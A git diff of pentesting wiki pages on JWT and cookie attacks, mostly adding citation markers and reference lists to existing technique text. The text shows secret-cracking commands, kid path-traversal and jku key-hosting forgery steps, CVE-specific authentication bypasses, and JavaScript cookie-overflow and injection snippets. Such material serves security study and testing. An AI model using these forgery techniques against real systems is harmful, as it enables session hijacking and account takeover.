SignSaboteur**](https://github.com/d0ge/s - `[= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*` - **Decode and enumerate**: Use Burp **JWT Editor** or `python3 jwt_tool.py ` to read header/payload. Note `alg`, `exp`/token lifetime, and authn/authz-driving claims (`role`, `id`, `username`, `email`, etc.). - **Signature enforcement sanity check**: Flip or delete a few bytes in the signature portion and replay. Acceptance implies missing signature validation and you can directly tamper payload claims. -- **Goal**: Modify payload claims to escalate privileges; every attack below aims to get the server to accept a tampered payload by abusing weak verification, weak secrets, or unsafe key selection. +- **Goal**: Modify payload claims to escalate privileges; every attack below aims to get the server to accept a tampered payload by abusing weak verification, weak secrets, or unsafe key selection.[[4]](#references) ### Tamper data without modifying anything @@ -72,11 +72,11 @@ python3 jwt_tool.py -C -d wordlist.txt hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule ``` -Once the secret is recovered, load it as a symmetric key in Burp JWT Editor and re-sign modified claims. +Once the secret is recovered, load it as a symmetric key in Burp JWT Editor and re-sign modified claims.[[4]](#references) ### Derive JWT secrets from leaked config + DB data -If an arbitrary file read (or backup leak) exposes both **application encryption material** and **user records**, you can sometimes recreate the JWT signing secret and forge session cookies without knowing any plaintext passwords. Example pattern observed in workflow automation stacks: +If an arbitrary file read (or backup leak) exposes both **application encryption material** and **user records**, you can sometimes recreate the JWT signing secret and forge session cookies without knowing any plaintext passwords. Example pattern observed in workflow automation stacks:[[1]](#references) 1. Leak the app key (e.g., `encryptionKey`) from a config file. 2. Leak the user table to obtain `email`, `password_hash`, and `user_id`. @@ -98,7 +98,7 @@ Use the Burp extension call "JSON Web Token" to try this vulnerability and to ch ### JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000) -Some stacks expect a **signed inner JWT** wrapped inside an **encrypted JWE**. In vulnerable `pac4j-jwt` versions (before `4.5.9`, `5.7.9`, and `6.3.3`), the authenticator decrypts the JWE, tries to parse the payload as a signed JWT, and only verifies the signature if that conversion succeeds. If the decrypted payload is a **PlainJWT** (`alg=none`), `toSignedJWT()` returns `null` and the signature verification path is skipped. +Some stacks expect a **signed inner JWT** wrapped inside an **encrypted JWE**. In vulnerable `pac4j-jwt` versions (before `4.5.9`, `5.7.9`, and `6.3.3`), the authenticator decrypts the JWE, tries to parse the payload as a signed JWT, and only verifies the signature if that conversion succeeds. If the decrypted payload is a **PlainJWT** (`alg=none`), `toSignedJWT()` returns `null` and the signature verification path is skipped.[[5]](#references)[[6]](#references) - **Pre-reqs**: - The application accepts **JWE bearer tokens** @@ -157,11 +157,11 @@ openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem ``` -Using Burp **JWT Editor**, import the RSA public key (from `/.well-known/jwks.json` or a PEM) and run **Attack → HMAC Key Confusion Attack** to automate the HS256 re-sign attempt. +Using Burp **JWT Editor**, import the RSA public key (from `/.well-known/jwks.json` or a PEM) and run **Attack → HMAC Key Confusion Attack** to automate the HS256 re-sign attempt.[[4]](#references) #### Passive triage for RS256→HS256 confusion in PAN-OS / GlobalProtect CAS (CVE-2026-0265) -A practical real-world pattern is a verifier that normally expects **RS256** tokens from an external identity service, but still honors attacker-controlled `alg=HS256` and treats the fetched **RSA public key bytes** as the HMAC secret. In that situation, anyone who can recover the public key can mint valid HS256 tokens. +A practical real-world pattern is a verifier that normally expects **RS256** tokens from an external identity service, but still honors attacker-controlled `alg=HS256` and treats the fetched **RSA public key bytes** as the HMAC secret. In that situation, anyone who can recover the public key can mint valid HS256 tokens.[[7]](#references)[[8]](#references) For **Palo Alto PAN-OS / GlobalProtect** with **Cloud Authentication Service (CAS)** attached to the authentication profile, the exposed GlobalProtect prelogin flow gives enough unauthenticated data to do a **safe passive triage** without forging a token. @@ -259,7 +259,7 @@ python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the `/proc/sys/kernel/randomize_va_space` file in Linux systems, known to contain the value **2**, can be used in the `kid` parameter with **2** as the symmetric password for JWT generation. -A practical pattern for brittle file-system key loading is to generate an HS256 key with JWK `k` set to `AA==`, set `kid` to a traversal like `../../../../../../../dev/null`, and re-sign—some implementations treat the empty file as a valid HMAC secret and will accept forged tokens. +A practical pattern for brittle file-system key loading is to generate an HS256 key with JWK `k` set to `AA==`, set `kid` to a traversal like `../../../../../../../dev/null`, and re-sign—some implementations treat the empty file as a valid HMAC secret and will accept forged tokens.[[4]](#references) #### SQL Injection via "kid" @@ -303,7 +303,7 @@ print("n:", hex(key.n)) print("e:", hex(key.e)) ``` -If the verifier fetches key material remotely, embed a Burp Collaborator URL in `jku`/`x5u` using **JWT Editor → Attack → Embed Collaborator payload**. Any callback confirms SSRF-style key retrieval; then host your own JWKS/PEM at that URL and re-sign with your private key so the service validates attacker-minted tokens. +If the verifier fetches key material remotely, embed a Burp Collaborator URL in `jku`/`x5u` using **JWT Editor → Attack → Embed Collaborator payload**. Any callback confirms SSRF-style key retrieval; then host your own JWKS/PEM at that URL and re-sign with your private key so the service validates attacker-minted tokens.[[4]](#references) #### x5u @@ -413,7 +413,7 @@ The token's expiry is checked using the "exp" Payload claim. Given that JWTs are - [jwt_tool](https://github.com/ticarpi/jwt_tool) – decoding, claim/header tampering, offline secret cracking (`-C`) and semi-automated attack modes (`-M at`). - [Burp JWT Editor](https://github.com/PortSwigger/jwt-editor) – decode/re-sign in Repeater, generate custom keys, and run built-in attacks (**none**, **HMAC key confusion**, **embedded JWK**, **jku/x5u collaborator payloads**). -- [hashcat](https://hashcat.net/hashcat/) `-m 16500` – GPU-accelerated HS256 secret cracking after exporting JWTs to a wordlist. +- [hashcat](https://hashcat.net/hashcat/) `-m 16500` – GPU-accelerated HS256 secret cracking after exporting JWTs to a wordlist.[[4]](#references) {{#ref}} @@ -422,13 +422,13 @@ https://github.com/ticarpi/jwt_tool ## References -- [n8n token forge chain – config+DB leak to JWT signing secret](https://github.com/Chocapikk/CVE-2026-21858) -- [Burp Suite – JWT Editor extension](https://github.com/PortSwigger/jwt-editor) -- [jwt_tool attack methodology](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology) -- [Keys to JWT Assessments – TrustedSec](https://trustedsec.com/blog/keys-to-jwt-assessments-from-a-cheat-sheet-to-a-deep-dive) -- [0xdf - HTB: Principal](https://0xdf.gitlab.io/2026/03/30/htb-principal.html) -- [CodeAnt AI - Inside CVE-2026-29000: The pac4j JWT Authentication Bypass Explained](https://www.codeant.ai/blogs/pac4j-vulnerability-cve-2026-29000) -- [Bishop Fox - Detecting CVE-2026-0265 at Scale: PAN-OS CAS Authentication Bypass](https://bishopfox.com/blog/detecting-cve-2026-0265-at-scale-pan-os-cas-authentication-bypass) -- [Palo Alto Networks Advisory - CVE-2026-0265 PAN-OS: Authentication Bypass with Cloud Authentication Service (CAS) enabled](https://security.paloaltonetworks.com/CVE-2026-0265) +- [1] [n8n token forge chain – config+DB leak to JWT signing secret](https://github.com/Chocapikk/CVE-2026-21858) +- [2] [Burp Suite – JWT Editor extension](https://github.com/PortSwigger/jwt-editor) +- [3] [jwt_tool attack methodology](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology) +- [4] [Keys to JWT Assessments – TrustedSec](https://trustedsec.com/blog/keys-to-jwt-assessments-from-a-cheat-sheet-to-a-deep-dive) +- [5] [0xdf - HTB: Principal](https://0xdf.gitlab.io/2026/03/30/htb-principal.html) +- [6] [CodeAnt AI - Inside CVE-2026-29000: The pac4j JWT Authentication Bypass Explained](https://www.codeant.ai/blogs/pac4j-vulnerability-cve-2026-29000) +- [7] [Bishop Fox - Detecting CVE-2026-0265 at Scale: PAN-OS CAS Authentication Bypass](https://bishopfox.com/blog/detecting-cve-2026-0265-at-scale-pan-os-cas-authentication-bypass) +- [8] [Palo Alto Networks Advisory - CVE-2026-0265 PAN-OS: Authentication Bypass with Cloud Authentication Service (CAS) enabled](https://security.paloaltonetworks.com/CVE-2026-0265) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/hacking-with-cookies/README.md b/src/pentesting-web/hacking-with-cookies/README.md index 55a5e630f6e..609e37dc2f9 100644 --- a/src/pentesting-web/hacking-with-cookies/README.md +++ b/src/pentesting-web/hacking-with-cookies/README.md @@ -58,8 +58,8 @@ This avoids the **client** to access the cookie (Via **Javascript** for example: #### **Bypasses** -- If the page is **sending the cookies as the response** of a requests (for example in a **PHPinfo** page), it's possible to abuse the XSS to send a request to this page and **steal the cookies** from the response (check an example in [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)). -- This could be Bypassed with **TRACE** **HTTP** requests as the response from the server (if this HTTP method is available) will reflect the cookies sent. This technique is called **Cross-Site Tracking**. +- If the page is **sending the cookies as the response** of a requests (for example in a **PHPinfo** page), it's possible to abuse the XSS to send a request to this page and **steal the cookies** from the response (check an example in [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).[[6]](#references) +- This could be Bypassed with **TRACE** **HTTP** requests as the response from the server (if this HTTP method is available) will reflect the cookies sent. This technique is called **Cross-Site Tracking**.[[5]](#references) - This technique is avoided by **modern browsers by not permitting sending a TRACE** request from JS. However, some bypasses to this have been found in specific software like sending `\r\nTRACE` instead of `TRACE` to IE6.0 SP2. - Another way is the exploitation of zero/day vulnerabilities of the browsers. - It's possible to **overwrite HttpOnly cookies** by performing a Cookie Jar overflow attack: @@ -70,7 +70,7 @@ cookie-jar-overflow.md {{#endref}} - It's possible to use [**Cookie Smuggling**](#cookie-smuggling) attack to exfiltrate these cookies -- If any server-side endpoint echoes the raw session ID in the HTTP response (e.g., inside HTML comments or a debug block), you can bypass HttpOnly by using an XSS gadget to fetch that endpoint, regex the secret, and exfiltrate it. Example XSS payload pattern: +- If any server-side endpoint echoes the raw session ID in the HTTP response (e.g., inside HTML comments or a debug block), you can bypass HttpOnly by using an XSS gadget to fetch that endpoint, regex the secret, and exfiltrate it.[[7]](#references) Example XSS payload pattern: ```js // Extract content between ... @@ -99,7 +99,7 @@ It is important to note that cookies prefixed with `__Host-` are not allowed to ### Overwriting cookies -So, one of the protection of `__Host-` prefixed cookies is to prevent them from being overwritten from subdomains. Preventing for example [**Cookie Tossing attacks**](cookie-tossing.md). In the talk [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) it's presented that it was possible to set \_\_HOST- prefixed cookies from subdomain, by tricking the parser, for example, adding "=" at the beggining or at the beginig and the end...: +So, one of the protection of `__Host-` prefixed cookies is to prevent them from being overwritten from subdomains. Preventing for example [**Cookie Tossing attacks**](cookie-tossing.md). In the talk [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) it's presented that it was possible to set \_\_HOST- prefixed cookies from subdomain, by tricking the parser, for example, adding "=" at the beggining or at the beginig and the end...:[[14]](#references)
@@ -110,7 +110,7 @@ Or in PHP it was possible to add **other characters at the beginning** of the co #### Unicode whitespace cookie-name smuggling (prefix forgery) -Abuse discrepancies between browser and server parsing by prepending a Unicode whitespace code point to the cookie name. The browser won’t consider the name to literally start with `__Host-`/`__Secure-`, so it allows setting from a subdomain. If the backend trims/normalizes leading Unicode whitespace on cookie keys, it will see the protected name and may overwrite the high-privilege cookie. +Abuse discrepancies between browser and server parsing by prepending a Unicode whitespace code point to the cookie name. The browser won’t consider the name to literally start with `__Host-`/`__Secure-`, so it allows setting from a subdomain. If the backend trims/normalizes leading Unicode whitespace on cookie keys, it will see the protected name and may overwrite the high-privilege cookie.[[8]](#references) - PoC from a subdomain that can set parent-domain cookies: @@ -138,7 +138,7 @@ Many backends split/parse and then trim, resulting in the normalized `__Host-nam #### Legacy `$Version=1` cookie splitting on Java backends (prefix bypass) -Some Java stacks (e.g., Tomcat/Jetty-style) still enable legacy RFC 2109/2965 parsing when the `Cookie` header starts with `$Version=1`. This can cause the server to reinterpret a single cookie string as multiple logical cookies and accept a forged `__Host-` entry that was originally set from a subdomain or even over insecure origin. +Some Java stacks (e.g., Tomcat/Jetty-style) still enable legacy RFC 2109/2965 parsing when the `Cookie` header starts with `$Version=1`. This can cause the server to reinterpret a single cookie string as multiple logical cookies and accept a forged `__Host-` entry that was originally set from a subdomain or even over insecure origin.[[8]](#references) - PoC forcing legacy parsing: @@ -153,7 +153,7 @@ document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; #### Duplicate-name last-wins overwrite primitive -When two cookies normalize to the same name, many backends (including Django) use the last occurrence. After smuggling/legacy-splitting produces two `__Host-*` names, the attacker-controlled one will typically win. +When two cookies normalize to the same name, many backends (including Django) use the last occurrence. After smuggling/legacy-splitting produces two `__Host-*` names, the attacker-controlled one will typically win.[[8]](#references) #### Detection and tooling @@ -162,7 +162,7 @@ Use Burp Suite to probe for these conditions: - Try multiple leading Unicode whitespace code points: U+2000, U+0085, U+00A0 and observe whether the backend trims and treats the name as prefixed. - Send `$Version=1` first in the Cookie header and check if the backend performs legacy splitting/normalization. - Observe duplicate-name resolution (first vs last wins) by injecting two cookies that normalize to the same name. -- Burp Custom Action to automate this: [CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda) +- Burp Custom Action to automate this: [CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda)[[9]](#references) > Tip: These techniques exploit RFC 6265’s octet-vs-string gap: browsers send bytes; servers decode and may normalize/trim. Mismatches in decoding and normalization are the core of the bypass. @@ -212,7 +212,7 @@ This attack forces a logged-in user to execute unwanted actions on a web applica ### Empty Cookies -(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows: +(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows:[[2]](#references) ```js document.cookie = "a=v1" @@ -240,11 +240,11 @@ In Chrome, if a Unicode surrogate codepoint is part of a set cookie, `document.c document.cookie = "\ud800=meep" ``` -This results in `document.cookie` outputting an empty string, indicating permanent corruption. +This results in `document.cookie` outputting an empty string, indicating permanent corruption.[[2]](#references) #### Cookie Smuggling Due to Parsing Issues -(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Several web servers, including those from Java (Jetty, TomCat, Undertow) and Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), mishandle cookie strings due to outdated RFC2965 support. They read a double-quoted cookie value as a single value even if it includes semicolons, which should normally separate key-value pairs: +(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Several web servers, including those from Java (Jetty, TomCat, Undertow) and Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), mishandle cookie strings due to outdated RFC2965 support. They read a double-quoted cookie value as a single value even if it includes semicolons, which should normally separate key-value pairs:[[2]](#references) ``` RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; @@ -252,7 +252,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; #### Cookie Injection Vulnerabilities -(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) The incorrect parsing of cookies by servers, notably Undertow, Zope, and those using Python's `http.cookie.SimpleCookie` and `http.cookie.BaseCookie`, creates opportunities for cookie injection attacks. These servers fail to properly delimit the start of new cookies, allowing attackers to spoof cookies: +(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) The incorrect parsing of cookies by servers, notably Undertow, Zope, and those using Python's `http.cookie.SimpleCookie` and `http.cookie.BaseCookie`, creates opportunities for cookie injection attacks. These servers fail to properly delimit the start of new cookies, allowing attackers to spoof cookies:[[2]](#references) - Undertow expects a new cookie immediately after a quoted value without a semicolon. - Zope looks for a comma to start parsing the next cookie. @@ -264,11 +264,11 @@ This vulnerability is particularly dangerous in web applications relying on cook #### WAF Bypass -According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), it might be possible to use the cookie attribute **`$Version=1`** to make the backend use an old logic to parse the cookie due to the **RFC2109**. Moreover, other values just as **`$Domain`** and **`$Path`** can be used to modify the behaviour of the backend with the cookie. +According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), it might be possible to use the cookie attribute **`$Version=1`** to make the backend use an old logic to parse the cookie due to the **RFC2109**. Moreover, other values just as **`$Domain`** and **`$Path`** can be used to modify the behaviour of the backend with the cookie.[[4]](#references) #### Cookie Sandwich Attack -According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) it's possible to use the cookie sandwich technique to steal HttpOnly cookies. These are the requirements and steps: +According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) it's possible to use the cookie sandwich technique to steal HttpOnly cookies.[[13]](#references) These are the requirements and steps: - Find a place were an apparent useless **cookie is refected in the response** - **Create a cookie called `$Version`** with value `1` (ou can do this in a XSS attack from JS) with a more specific path so it gets the initial possition (some frameworks like python don’t need this step) @@ -392,7 +392,7 @@ There should be a pattern (with the size of a used block). So, knowing how are a ### Static-key cookie forgery (symmetric encryption of predictable IDs) -Some applications mint authentication cookies by encrypting only a predictable value (e.g., the numeric user ID) under a global, hard-coded symmetric key, then encoding the ciphertext (hex/base64). If the key is static per product (or per install), anyone can forge cookies for arbitrary users offline and bypass authentication. +Some applications mint authentication cookies by encrypting only a predictable value (e.g., the numeric user ID) under a global, hard-coded symmetric key, then encoding the ciphertext (hex/base64). If the key is static per product (or per install), anyone can forge cookies for arbitrary users offline and bypass authentication.[[1]](#references) How to test/forge - Identify the cookie(s) that gate auth, e.g., COOKIEID and ADMINCOOKIEID. @@ -464,9 +464,9 @@ Typical exploitation pattern: - Recreate the expected plaintext structure (user, role/domain, host ID, client OS/IP, timestamp, lifetime, etc.). - Encrypt it with each candidate **public key**, encode it as expected, and replay it. If the server only checks that decryption succeeds and the fields parse, authentication is bypassed. -**GlobalProtect authentication override** is a practical example of this anti-pattern. When **authentication override cookies** are enabled, the portal/gateway accepts `portal-userauthcookie` or `portal-prelogonuserauthcookie` in a POST to `/ssl-vpn/login.esp`. If the certificate used for cookie encryption/decryption is also reused by the externally exposed HTTPS service, an unauthenticated attacker can retrieve the certificate chain over TLS, forge a cookie for any chosen identity, and submit it directly to the portal/gateway. +**GlobalProtect authentication override** is a practical example of this anti-pattern. When **authentication override cookies** are enabled, the portal/gateway accepts `portal-userauthcookie` or `portal-prelogonuserauthcookie` in a POST to `/ssl-vpn/login.esp`. If the certificate used for cookie encryption/decryption is also reused by the externally exposed HTTPS service, an unauthenticated attacker can retrieve the certificate chain over TLS, forge a cookie for any chosen identity, and submit it directly to the portal/gateway.[[10]](#references)[[11]](#references) -Quick testing ideas: +Quick testing ideas:[[12]](#references) ```bash openssl s_client -connect :443 -showcerts --context both --user admin ## References -- [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/) -- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/) -- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd) -- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie) -- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181) -- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it) -- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) -- [Cookie Chaos: How to bypass __Host and __Secure cookie prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes) -- [Burp Custom Action – CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda) -- [Rapid7 Observed Exploitation of PAN-OS GlobalProtect Authentication Bypass Vulnerability (CVE-2026-0257)](https://www.rapid7.com/blog/post/etr-rapid7-observed-exploitation-of-pan-os-globalprotect-authentication-bypass-vulnerability-cve-2026-0257) -- [Palo Alto Networks advisory: CVE-2026-0257 PAN-OS: GlobalProtect Authentication Bypass Vulnerabilities](https://security.paloaltonetworks.com/CVE-2026-0257) -- [Rapid7 PoC for CVE-2026-0257](https://github.com/sfewer-r7/CVE-2026-0257) +- [1] [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/) +- [2] [Cookie bugs - original research on empty/malformed cookie parsing bugs](https://blog.ankursundara.com/cookie-bugs/) +- [3] [LinkedIn post](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd) +- [4] [Bypassing WAFs with the phantom $Version cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie) +- [5] [seclists webappsec - Cross-Site Tracing (TRACE method cookie disclosure)](https://seclists.org/webappsec/2006/q2/181) +- [6] [Michal Spacek - Stealing session IDs with phpinfo() and how to stop it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it) +- [7] [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [8] [Cookie Chaos: How to bypass __Host and __Secure cookie prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes) +- [9] [Burp Custom Action – CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda) +- [10] [Rapid7 Observed Exploitation of PAN-OS GlobalProtect Authentication Bypass Vulnerability (CVE-2026-0257)](https://www.rapid7.com/blog/post/etr-rapid7-observed-exploitation-of-pan-os-globalprotect-authentication-bypass-vulnerability-cve-2026-0257) +- [11] [Palo Alto Networks advisory: CVE-2026-0257 PAN-OS: GlobalProtect Authentication Bypass Vulnerabilities](https://security.paloaltonetworks.com/CVE-2026-0257) +- [12] [Rapid7 PoC for CVE-2026-0257](https://github.com/sfewer-r7/CVE-2026-0257) +- [13] [PortSwigger Research - Stealing HttpOnly cookies with the Cookie Sandwich technique](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) +- [14] [Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (USENIX Security '23 paper)](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/hacking-with-cookies/cookie-bomb.md b/src/pentesting-web/hacking-with-cookies/cookie-bomb.md index 34d841d3894..a42e250e65e 100644 --- a/src/pentesting-web/hacking-with-cookies/cookie-bomb.md +++ b/src/pentesting-web/hacking-with-cookies/cookie-bomb.md @@ -4,11 +4,13 @@ **`Cookie bomb`** involves **adding a significant number of large cookies to a domain and its subdomains targeting a user**. This action results in the victim **sending oversized HTTP requests** to the server, which are subsequently **rejected by the server**. The consequence of this is the induction of a Denial of Service (DoS) specifically targeted at a user within that domain and its subdomains. -A nice **example** can be seen in this write-up: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356) +A nice **example** can be seen in this write-up: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)[[1]](#references) -And for more information, you can check this presentation: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26) - -{{#include ../../banners/hacktricks-training.md}} +And for more information, you can check this presentation: [https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)[[2]](#references) +## References +- [1] [HackerOne report #57356 - Cookie bomb DoS](https://hackerone.com/reports/57356) +- [2] [The Cookie Monster in Your Browsers - speakerdeck presentation](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26) +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md b/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md index 9c051f0f01b..71d4a565245 100644 --- a/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md +++ b/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -Cookie jar overflow abuses the fact that browsers cap how many cookies they keep for one site/jar. If you can run JavaScript in the victim origin (typically via XSS), you can keep creating cookies until older entries are evicted, then recreate the target cookie with attacker-controlled data. +Cookie jar overflow abuses the fact that browsers cap how many cookies they keep for one site/jar. If you can run JavaScript in the victim origin (typically via XSS), you can keep creating cookies until older entries are evicted, then recreate the target cookie with attacker-controlled data.[[1]](#references) -The exact threshold is browser-dependent. The current spec only requires user agents to support at least **50 cookies per domain**, while current Chromium builds use **180 cookies per eTLD+1** and **180 per partitioned jar**. Therefore, do **not** hardcode `700` cookies and assume it will always work. +The exact threshold is browser-dependent. The current spec only requires user agents to support at least **50 cookies per domain**, while current Chromium builds use **180 cookies per eTLD+1** and **180 per partitioned jar**. Therefore, do **not** hardcode `700` cookies and assume it will always work.[[2]](#references) ```javascript const attrs = "Path=/"; @@ -22,7 +22,7 @@ for (let i = 0; i < 400; i++) { ## Overwriting `HttpOnly` Cookies -This technique can still be used to **evict an `HttpOnly` cookie and then recreate it without `HttpOnly`**, but only if you can **match the original scope** (`name`, `Path`, and host/`Domain` behavior): +This technique can still be used to **evict an `HttpOnly` cookie and then recreate it without `HttpOnly`**, but only if you can **match the original scope** (`name`, `Path`, and host/`Domain` behavior):[[1]](#references) ```javascript const targetScope = "Path=/app; Secure"; @@ -39,18 +39,19 @@ If the original cookie was set for a different `Path` or with a wider `Domain`, > [!CAUTION] > This attack does **not** let JavaScript modify `HttpOnly` in place. The practical primitive is: **evict first, then create a new non-`HttpOnly` cookie with the same scope**. > -> Check the original lab in [**this post**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/). +> Check the original lab in [**this post**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/).[[1]](#references) ## Reliability Notes -- **Eviction is not always "oldest cookie first"**. In Chromium the garbage collector is LRU-like and tends to preserve more valuable cookies longer, especially `Secure` and higher-priority cookies. A recently used session cookie is usually harder to evict than a stale low-priority one. +- **Eviction is not always "oldest cookie first"**. In Chromium the garbage collector is LRU-like and tends to preserve more valuable cookies longer, especially `Secure` and higher-priority cookies. A recently used session cookie is usually harder to evict than a stale low-priority one.[[2]](#references) - **Profile the real cookie first**. Before overflowing, capture the original `Set-Cookie` in Burp/DevTools and note `Path`, `Domain`, `Priority`, prefixes, and whether the cookie is `Partitioned`. -- **Prefer first-party execution**. Modern browsers increasingly isolate or block third-party cookies. If the cookie is partitioned (`Partitioned` / CHIPS, or browser-enforced third-party partitioning), overflowing the jar of `cdn.example` while embedded in `siteA.com` will not evict the cookie that the same origin uses as a top-level site or while embedded in `siteB.com`. +- **Prefer first-party execution**. Modern browsers increasingly isolate or block third-party cookies. If the cookie is partitioned (`Partitioned` / CHIPS, or browser-enforced third-party partitioning), overflowing the jar of `cdn.example` while embedded in `siteA.com` will not evict the cookie that the same origin uses as a top-level site or while embedded in `siteB.com`.[[3]](#references) - **New prefixed cookies reduce the impact**. In browsers that enforce the newer `__Http-` and `__Host-Http-` prefixes, JavaScript cannot recreate those cookies with `document.cookie`. You may still evict them, but you cannot mint a same-named replacement client-side. ## References -- [Chromium eviction notes](https://blog.yoav.ws/posts/how_chromium_cookies_get_evicted/) -- [CHIPS / partitioned cookies](https://privacysandbox.google.com/cookies/chips) +- [1] [Overwriting HttpOnly cookies from JavaScript using cookie jar overflow](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/) +- [2] [Chromium eviction notes](https://blog.yoav.ws/posts/how_chromium_cookies_get_evicted/) +- [3] [CHIPS / partitioned cookies](https://privacysandbox.google.com/cookies/chips) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md index 09fef92f012..40ed3dc5063 100644 --- a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md +++ b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md @@ -11,10 +11,10 @@ As it was indicated in the Cookies Hacking section, when a **cookie is set to a > [!CAUTION] > Therefore, **an attacker is going to be able to set to the domain and subdomains a specific cookie doing something like** `document.cookie="session=1234; Path=/app/login; domain=.example.com"` -This can be dangerous as the attacker may be able to: +This can be dangerous as the attacker may be able 